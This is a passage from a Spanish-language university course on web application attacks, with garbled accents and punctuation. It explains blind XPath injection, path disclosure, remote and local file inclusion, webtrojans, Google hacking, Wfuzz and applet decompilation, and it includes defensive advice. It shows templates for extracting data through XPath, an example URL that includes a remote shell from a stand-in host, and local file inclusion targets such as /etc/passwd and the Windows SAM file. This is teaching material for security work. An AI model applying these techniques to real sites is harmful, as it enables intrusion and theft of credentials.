or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
